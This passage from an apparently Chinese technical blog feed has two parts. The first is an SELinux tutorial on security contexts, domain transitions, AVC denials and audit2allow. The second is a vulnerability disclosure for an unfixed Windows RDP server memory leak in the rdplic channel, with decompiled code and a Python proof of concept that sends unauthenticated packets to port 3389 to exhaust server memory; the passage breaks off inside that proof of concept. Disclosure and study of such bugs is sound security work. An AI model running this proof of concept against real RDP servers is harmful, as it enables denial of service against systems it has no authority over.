class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">$ sedismod vmtools.pp</span><br><span class="line">Reading policy...</span><br><span class="line">libsepol.policydb_index_others: security:  0 users, 4 roles, 112 types, 4 bools</span><br><span class="line">libsepol.policydb_index_others: security: 1 sens, 1024 cats</span><br><span class="line">libsepol.policydb_index_others: security:  101 classes, 0 rules, 0 cond rules</span><br><span class="line">libsepol.policydb_index_others: security:  0 users, 4 roles, 112 types, 4 bools</span><br><span class="line">libsepol.policydb_index_others: security: 1 sens, 1024 cats</span><br><span class="line">libsepol.policydb_index_others: security:  101 classes, 0 rules, 0 cond rules</span><br><span class="line">Binary policy module file loaded.</span><br><span class="line">Module name: vmtools</span><br><span class="line">Module version: 1.0.0</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Select a command:</span><br><span class="line">1)  display unconditional AVTAB</span><br><span class="line">2)  display conditional AVTAB</span><br><span class="line">3)  display users</span><br><span class="line">4)  display bools</span><br><span class="line">5)  display roles</span><br><span class="line">6)  display types, attributes, and aliases</span><br><span class="line">7)  display role transitions</span><br><span class="line">8)  display role allows</span><br><span class="line">9)  Display policycon</span><br><span class="line">0)  Display initial SIDs</span><br><span class="line"></span><br><span class="line">a)  Display avrule requirements</span><br><span class="line">b)  Display avrule declarations</span><br><span class="line">c)  Display policy capabilities</span><br><span class="line">l)  Link in a module</span><br><span class="line">u)  Display the unknown handling setting</span><br><span class="line">F)  Display filename_trans rules</span><br><span class="line"></span><br><span class="line">f)  set output file</span><br><span class="line">m)  display menu</span><br><span class="line">q)  quit</span><br><span class="line"></span><br><span class="line">Command (&#x27;m&#x27; for menu):</span><br></pre></td></tr></table></figure><p>这里我们输入1, 显示unconditional规则</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">unconditional avtab:</span><br><span class="line">--- begin avrule block ---</span><br><span class="line">decl 1:</span><br><span class="line">  allow vmtools_t vmtools_exec_t : [file] &#123; entrypoint &#125;;</span><br><span class="line">  allow vmtools_t vmtools_exec_t : [file] &#123; ioctl read getattr lock map execute execute_no_trans open &#125;;</span><br><span class="line">  type_transition [initrc_domain] vmtools_exec_t : [process]  vmtools_t;</span><br><span class="line">  allow vmtools_helper_t vmtools_helper_exec_t : [file] &#123; entrypoint &#125;;</span><br><span class="line">  allow vmtools_helper_t vmtools_helper_exec_t : [file] &#123; ioctl read getattr lock map execute execute_no_trans open &#125;;</span><br><span class="line">  allow vmtools_t self : [capability] &#123; sys_rawio sys_time &#125;;</span><br><span class="line">  allow vmtools_t self : [fifo_file] &#123; ioctl read write getattr lock append open &#125;;</span><br><span class="line">  allow vmtools_t self : [unix_stream_socket] &#123; ioctl read write create getattr setattr lock append bind connect listen accept getopt setopt shutdown &#125;;</span><br><span class="line">  allow vmtools_t self : [unix_dgram_socket] &#123; ioctl read write create getattr setattr lock append bind connect getopt setopt shutdown &#125;;</span><br><span class="line">  allow vmtools_t vmtools_tmp_t : [dir] &#123; ioctl read write getattr lock add_name remove_name search open &#125;;</span><br><span class="line">  allow vmtools_t vmtools_tmp_t : [dir] &#123; ioctl read write create getattr setattr lock unlink link rename add_name remove_name reparent search rmdir open &#125;;</span><br><span class="line">  allow vmtools_t vmtools_tmp_t : [dir] &#123; ioctl read write getattr lock add_name remove_name search open &#125;;</span><br><span class="line">  allow vmtools_t vmtools_tmp_t : [file] &#123; ioctl read write create getattr setattr lock append unlink link rename open &#125;;</span><br><span class="line">  allow vmtools_t vmtools_tmp_t : [dir] &#123; ioctl read</span><br><span class="line">  ....</span><br></pre></td></tr></table></figure><h1 id="Security-Context"><a href="#Security-Context" class="headerlink" title="Security Context"></a>Security Context</h1><p><img src="/images/SELinux/v2-bb095bfd7450ecbcc799323ef62f66cc_720w.jpg" alt="img"></p><p>进程的type也称为Domain.</p><p>unconfined_t是无限制的domain. 一般登录用户启动的程序为这个domain.</p><p><code>ls -Z</code>可以查看文件的security context.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost vv]# ls -Z /root/</span><br><span class="line">-rw-------. root root system_u:object_r:admin_home_t:s0 anaconda-ks.cfg</span><br><span class="line">-rw-r--r--. root root system_u:object_r:admin_home_t:s0 initial-setup-ks.cfg</span><br><span class="line">-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 t2</span><br></pre></td></tr></table></figure><p><code>ps -auxZ</code>可以查看进程的security context.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">system_u:system_r:kernel_t:s0   root        569  0.0  0.0      0     0 ?        S&lt;   May04   0:00 [xfs-eofblocks/s]</span><br><span class="line">system_u:system_r:kernel_t:s0   root        572  0.0  0.0      0     0 ?        S    May04   0:00 [xfsaild/sda1]</span><br><span class="line">system_u:system_r:auditd_t:s0   root        654  0.0  0.0  55504   460 ?        S&lt;sl May04   0:00 /sbin/auditd</span><br><span class="line">system_u:system_r:audisp_t:s0   root        656  0.0  0.0  84548   580 ?        S&lt;sl May04   0:00 /sbin/audispd</span><br></pre></td></tr></table></figure><h1 id="Domain-Transition"><a href="#Domain-Transition" class="headerlink" title="Domain Transition"></a>Domain Transition</h1><p>假如进程A属于Domain a, 它启动了一个程序X, 程序X启动后的Domain是Domain b. 我们就称之为Domain Transition.</p><p>实现这个需要满足3个前提:</p><ol><li><p>Domain a 和Domain b有程序文件X的 execute 属性</p></li><li><p>Domain a允许迁移到Domain b. (即 process transition 属性)</p></li><li><p>文件X是Domain b的 entrypoint. 比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ sesearch -A|grep vmtools_t|grep entrypoint</span><br><span class="line">   allow vmtools_t vmtools_exec_t : file &#123; ioctl read getattr lock map execute execute_no_trans entrypoint open &#125; ;</span><br></pre></td></tr></table></figure><blockquote><p>如果是在pp文件里, 就形如 <code>type_transition [initrc_domain] vmtools_exec_t : [process]  vmtools_t;</code></p></blockquote></li></ol><p>举例: <strong>init_t</strong>到<strong>httpd_t</strong>的Domain Transition:</p><p>先查看vftpd的文件和进程的security context:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ls -Z /usr/sbin/vsftpd</span><br><span class="line">-rwxr-xr-x. root root system_u:object_r:ftpd_exec_t:s0 /usr/sbin/vsftpd</span><br><span class="line">[root@localhost ~]# ps -auxZ|grep vftpd</span><br><span class="line">system_u:object_r:ftpd_t:s0-s0:c0.c1023 root 2829 0.0  0.0 112660 964 pts/1 R+ 07:42   0:00 grep --color=auto vftpd</span><br></pre></td></tr></table></figure><p>可以看到文件是ftpd_exec_t type, 进程的domain是ftpd_t( 如果没有配置SELinux, 进程的security context可能是unconfined_u:unconfined_r:unconfined_t)</p><p>接下来查看init_t到ftpd_exec_t的规则:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# sesearch -s init_t -t ftpd_exec_t -c file -p execute -Ad</span><br><span class="line">Found 1 semantic av rules:</span><br><span class="line">   allow init_t ftpd_exec_t : file &#123; read getattr execute open &#125; ; </span><br></pre></td></tr></table></figure><p>可以看到init_t有ftpd_exec_t Type的execute属性</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# sesearch -s ftpd_t -t ftpd_exec_t -c file -p entrypoint -Ad</span><br><span class="line">Found 1 semantic av rules:</span><br><span class="line">   allow ftpd_t ftpd_exec_t : file &#123; ioctl read getattr lock execute execute_no_trans entrypoint open &#125; ;</span><br></pre></td></tr></table></figure><p>可以看到ftpd_t有ftpd_exec_t Type的execute属性</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# sesearch -s init_t -t ftpd_t -c process -p transition -Ad</span><br><span class="line">Found 1 semantic av rules:</span><br><span class="line">   allow init_t ftpd_t : process transition ;</span><br></pre></td></tr></table></figure><h1 id="错误信息的处理"><a href="#错误信息的处理" class="headerlink" title="错误信息的处理"></a>错误信息的处理</h1><p>通过<code>ausearch</code>命令可以获取错误消息. 也可以直接读取<code>/var/log/audit/audit.log</code>, 带有<code>AVC</code>(Access Vector Cache, 很奇葩的名字)的就是拒绝的log.</p><p>比如: 执行<code>runcon system_u:system_r:syslogd_t:s0 /bin/ls -l /</code>会失败, 查看错误结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ ausearch -m AVC,USER_AVC,SELINUX_ERR,USER_SELINUX_ERR|grep runcon</span><br><span class="line">type=AVC msg=audit(1651855998.065:528): avc:  denied  &#123; entrypoint &#125; for  pid=4634 comm=&quot;runcon&quot; path=&quot;/usr/bin/ls&quot; dev=&quot;dm-0&quot; ino=25307027 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file</span><br></pre></td></tr></table></figure><ul><li><code>avc: denied</code> - the action performed by SELinux and recorded in Access Vector Cache (AVC)</li><li><code>&#123; entrypoint&#125;</code> - the denied action</li><li><code>pid=4634</code>- the process identifier of the subject that tried to perform the denied action</li><li><code>comm=&quot;runcon&quot;</code> - the name of the command that was used to invoke the analyzed process</li><li><code>syslogd_t</code> - the SELinux type of the process</li><li><code>bin_t</code> - the SELinux type of the object affected by the process action</li><li><code>tclass=file</code> - the target object class</li></ul><p>翻译一下就是, 进程runcon(pid:4634)下从syslogd_t类型去运行bin_t类型的 “&#x2F;usr&#x2F;bin&#x2F;ls”文件时, syslogd_t没有该文件的entrypoint权限. </p><p>这是为什么呢? 我的猜想是, runcon由于是用户启动的, 所以在unconfined_t域, runcon会调用<code>setexeccon</code>, 该函数功能是在下一次执行execve的时候, 更改加载程序的security context. 这个操作应该会触发一个Domain Transition, 从unconfined_t 到 syslogd_t, 而Domain Transition有3个前提, 其中一个是就是需要目标domain有文件的entrypoint属性. 而syslogd_t没有bint_t的entrypoint属性. 从而导致没有权限.</p><h1 id="添加规则"><a href="#添加规则" class="headerlink" title="添加规则"></a>添加规则</h1><p>使用audit2allow可以生成规则建议:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ausearch -m AVC|grep  runcon</span><br><span class="line">type=AVC msg=audit(1651857472.707:540): avc:  denied  &#123; entrypoint &#125; for  pid=4774 comm=&quot;runcon&quot; path=&quot;/usr/bin/ls&quot; dev=&quot;dm-0&quot; ino=25307027 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=file</span><br><span class="line">[root@localhost ~]# ausearch -m AVC|grep  runcon|audit2allow -a</span><br><span class="line"></span><br><span class="line">#============= syslogd_t ==============</span><br><span class="line"></span><br><span class="line">#!!!! WARNING: &#x27;bin_t&#x27; is a base type.</span><br><span class="line">allow syslogd_t bin_t:file entrypoint;</span><br></pre></td></tr></table></figure><p>生成规则:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ ausearch -m AVC|grep  runcon|audit2allow -M test2</span><br><span class="line">******************** IMPORTANT ***********************</span><br><span class="line">To make this policy package active, execute:</span><br><span class="line"></span><br><span class="line">semodule -i test2.pp</span><br></pre></td></tr></table></figure><p>它会生成两个文件<code>test2.pp</code>和<code>test2.te</code>, te文件就是规则的实际描述文件,</p><p>安装规则: <code>semodule -i test2.pp</code></p><p>安装后查看:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# sesearch -A|grep syslogd_t|grep entrypoint</span><br><span class="line">   allow syslogd_t bin_t : file &#123; ioctl read getattr lock map execute execute_no_trans entrypoint open &#125; ;</span><br><span class="line">   allow syslogd_t syslogd_exec_t : file &#123; ioctl read getattr lock map execute execute_no_trans entrypoint open &#125; ;</span><br></pre></td></tr></table></figure><p>可以看到规则已经添加进去了.</p><p><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security-enhanced_linux/sect-security-enhanced_linux-fixing_problems-allowing_access_audit2allow">ALLOWING ACCESS: AUDIT2ALLOW</a></p><p><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/writing-a-custom-selinux-policy_using-selinux">WRITING A CUSTOM SELINUX POLICY</a></p><h1 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h1><p>通过<code>runcon</code>可以以特定domain运行特定程序</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.digitalocean.com/community/tutorials/an-introduction-to-selinux-on-centos-7-part-2-files-and-processes">An Introduction to SELinux on CentOS 7 – Part 2: Files and Processes</a></p><p><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/writing-a-custom-selinux-policy_using-selinux">WRITING A CUSTOM SELINUX POLICY</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;测试中时常涉及到SELinux, 但是又不太懂咋回事. 学习一下, 整理出来, 希望可以帮到有疑惑的人&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows 远程桌面服务端(RDP server) 内存泄露分享</title>
    <link href="http://474172261.github.io/2023/02/22/rdp_mem_leak_bug/"/>
    <id>http://474172261.github.io/2023/02/22/rdp_mem_leak_bug/</id>
    <published>2023-02-22T11:54:44.259Z</published>
    <updated>2020-08-26T05:48:22.000Z</updated>
    
    <content type="html"><![CDATA[<p>在7月的时候发现了个rdp的内存泄露bug, 微软MSRC决定不管这个bug, 所以我就公开了, 顺便分享一下分析的一些细节, 供大家学习交流 :)</p><span id="more"></span><h2 id="RDP协议实现的简介"><a href="#RDP协议实现的简介" class="headerlink" title="RDP协议实现的简介"></a>RDP协议实现的简介</h2><h3 id="开启远程桌面"><a href="#开启远程桌面" class="headerlink" title="开启远程桌面"></a>开启远程桌面</h3><p>在windows中, 可以使用下图的选项去实现开启远程桌面<br><img src="/images/rdp_mem_leak_bug/open_rdp.png"></p><blockquote><p>如果不勾选红圈选中的这个选项, 那么在进行登录的用户名和密码交换前, 需要进行一些协议的协商操作; 如果勾选了这个选项, 则会先使用用户名和密码实现一条加密通道, 之后再通过加密通道完成协商.</p></blockquote><p>一个理想的协议实现就应该是后者那样, 连接前用户毕竟都知道用户名和密码了, 那么创建加密通道后再协商应该是最好的, 而不是先协商再认证.</p><p>当然, 作为攻击者, 肯定不希望是后者, 那样攻击面变得更小了.</p><h3 id="前期的交互"><a href="#前期的交互" class="headerlink" title="前期的交互"></a>前期的交互</h3><p><img src="/images/rdp_mem_leak_bug/interaction.png"><br>如同上图显示的那样, 双方需要经过多次协商, 才能进入后续的认证操作. 在Connection Initial PDU里, 我们需要声明我们要申请的virtual channel, 之后在channel join PDU里请求加入声明的channel. 在完成了图中所有步骤后, 我们就可以发送数据到virtual channel了.</p><blockquote><p>在给virtual channel发送数据前, 并没有完成用户名和密码的认证, 所以, 如果没有勾选红圈的选项, 我们可以在没有用户名&#x2F;密码的情况下发送数据到virtual channel.</p></blockquote><h2 id="Virtual-Channel"><a href="#Virtual-Channel" class="headerlink" title="Virtual Channel"></a>Virtual Channel</h2><p>windows 处理virtual channel 数据的路径为 <strong>WDW_OnDataReceived -&gt; WDICART_IcaChannelInputEx -&gt; CRDPWDUMXStack::WDCallback_IcaChannelInput -&gt; CRDPWDUMXStack::OnVirtualChannelData</strong>. </p><p>windows 10 内部有多个virtual channel, 在完成完整认证前, 主要能访问的是如下几个channel:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">rdpinpt</span><br><span class="line">rdpgrfx</span><br><span class="line">rdpcmd </span><br><span class="line">rdplic</span><br><span class="line">rdpdr</span><br><span class="line">echo</span><br><span class="line">Microsoft::Windows::RDS::Telemetry</span><br><span class="line">Microsoft::Windows::RDS::BasicInput</span><br><span class="line">drdynvc</span><br></pre></td></tr></table></figure><blockquote><p>此处仅列出部分channel, 下文也只涉及此处列出的channel, 未涉及的可以自己研究一下.</p></blockquote><p>不同的channel有不同的访问方式, 可以通过向channel “drdynvc” 发送channel名称, 来发送数据到名称指定的virtual channel( 支持此方式的channel有 drdynvc, Microsoft::Windows::RDS::BasicInput, Microsoft::Windows::RDS::Telemetry, 还有一些未在上表列出的);<br>另一种方式是通过直接提供channel ID, 发送数据到其它channel.</p><p>最终, 他们会调用到CRdpDynVC::OnDataReceived函数来调用给定channel对应的动态处理函数. 当然, 前提是channel已经被open了, 如果没有open, 你可以通过发送type为1的命令到drdynvc去open指定channel.</p><h2 id="BUG"><a href="#BUG" class="headerlink" title="BUG"></a>BUG</h2><p>这个bug存在于server 处理 rdplic 通道消息的CUMRDPLicPlugin::HandleClientLicensePdu函数中. 函数大致如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">CUMRDPLicPlugin::HandleClientLicensePdu</span><span class="params">(CUMRDPLicPlugin *this, <span class="type">unsigned</span> <span class="type">int</span> a2, __int64 a3)</span>&#123;</span><br><span class="line">v5 = this;</span><br><span class="line"><span class="keyword">if</span> ( a3 &amp;&amp; a2 &gt;= <span class="number">9</span> &amp;&amp; (mem_size = *(<span class="type">unsigned</span> <span class="type">int</span> *)(a3 + <span class="number">4</span>), mem_size &lt;= (<span class="type">unsigned</span> __int64)a2 - <span class="number">8</span>) )&#123;</span><br><span class="line">v9 = operator new[](mem_size);</span><br><span class="line">v5-&gt;f_18h.f_8h.memory_60h = (__int64)v9;</span><br><span class="line"><span class="keyword">if</span> ( v9 )&#123;</span><br><span class="line">memcpy_0(v9, (<span class="type">const</span> <span class="type">void</span> *)(a3 + <span class="number">8</span>), *(<span class="type">unsigned</span> <span class="type">int</span> *)(a3 + <span class="number">4</span>));</span><br><span class="line">...</span><br><span class="line">SetEvent((HANDLE)v5-&gt;f_18h.f_8h.Event_50h);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>表面看起来没什么问题, 问题出在它在set了event后, 并没有触发event的处理函数来处理这片内存, 如果我们再次发送相同的命令, 就会把 v5-&gt;f_18h.f_8h.memory_60h 位置的指针覆盖, 导致原来的内存指针丢失, 从而造成永久的内存泄露(除非重启服务).</p><h3 id="漏洞潜在影响"><a href="#漏洞潜在影响" class="headerlink" title="漏洞潜在影响"></a>漏洞潜在影响</h3><p>当有人启用RDP并关闭安全选项时, 存在被远程恶意耗尽内存的风险, 导致系统缓慢, 服务无法正常执行. 如果开着RDP也开着安全选项, 但是存在弱用户名密码, 也可能被恶意耗尽内存.</p><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><p>poc并没有使用CredSSP认证, 需要在测试时在server端关闭红圈中的选项.<br>此处我使用了4个线程去跑, 一个是因为服务端会有一个定时器, 在长时间没有完成认证的情况下, 会主动中断连接, 而我们发送数据时并没有完成认证, 所以需要重新连接.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">import</span> socket, sys, struct</span><br><span class="line"><span class="keyword">from</span> OpenSSL <span class="keyword">import</span> SSL</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_init_packets</span>(<span class="params">host</span>):</span><br><span class="line">    data = <span class="string">&#x27;\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x01\x00\x00\x00&#x27;</span></span><br><span class="line"></span><br><span class="line">    s = socket.socket()</span><br><span class="line">    s.connect((host, <span class="number">3389</span>))</span><br><span class="line">    s.sendall(data)</span><br><span class="line">    s.recv(<span class="number">8192</span>)</span><br><span class="line">    ctx = SSL.Context(SSL.TLSv1_METHOD)</span><br><span class="line">    tls = SSL.Connection(ctx,s)</span><br><span class="line">    tls.set_connect_state()</span><br><span class="line">    tls.do_handshake()</span><br><span class="line">    <span class="keyword">return</span> tls</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_client_data</span>(<span class="params">tls</span>):</span><br><span class="line">    <span class="comment"># add multitransport</span></span><br><span class="line">    p2 = <span class="string">&#x27;\x06\xc0\x08\x00\x00\x00\x00\x00&#x27;</span>+<span class="string">&#x27;\x0a\xc0\x08\x00\x00\x02\x00\x00&#x27;</span> <span class="comment"># flag SOFTSYNC_TCP_TO_UDP</span></span><br><span class="line">    p = <span class="string">&quot;\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x07\xc2\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x61\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\